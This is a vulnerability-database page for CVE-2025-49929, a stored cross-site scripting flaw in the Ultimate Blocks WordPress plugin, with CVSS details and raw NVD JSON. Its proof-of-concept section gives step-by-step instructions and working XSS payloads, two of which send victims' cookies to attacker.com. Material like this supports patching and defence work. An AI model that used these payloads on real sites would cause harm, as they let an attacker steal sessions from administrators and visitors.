Security Vulnerability Report
中文
CVE-2025-49929 CVSS 6.5 MEDIUM

CVE-2025-49929

Published: 2025-10-22 15:15:39
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ultimate Blocks Ultimate Blocks ultimate-blocks allows Stored XSS.This issue affects Ultimate Blocks: from n/a through <= 3.3.6.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Ultimate Blocks <= 3.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-49929 - Ultimate Blocks Stored XSS PoC Vulnerable: Ultimate Blocks <= 3.3.6 Tested on: WordPress with Ultimate Blocks plugin --> <!-- Step 1: Login as low-privilege user (e.g., Subscriber or Contributor) --> <!-- Step 2: Create a new Post or Page --> <!-- Step 3: Add an Ultimate Blocks block (e.g., Button, Table, Notification, or Styled Box) --> <!-- Step 4: Inject malicious payload into the block's input field --> <!-- Example Payload 1: Script tag injection in block content --> <script>alert('XSS-CVE-2025-49929');document.location='https://attacker.com/steal?c='+document.cookie;</script> <!-- Example Payload 2: Event handler injection in URL/href field --> javascript:alert(document.cookie) <!-- Example Payload 3: IMG tag with onerror handler --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- Example Payload 4: SVG-based XSS --> <svg/onload=alert('XSS')> <!-- Step 5: Publish/Save the post --> <!-- Step 6: When an admin or other user views the post, the script executes in their browser -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49929", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:38.970", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ultimate Blocks Ultimate Blocks ultimate-blocks allows Stored XSS.This issue affects Ultimate Blocks: from n/a through <= 3.3.6."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-blocks/vulnerability/wordpress-ultimate-blocks-plugin-3-3-6-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}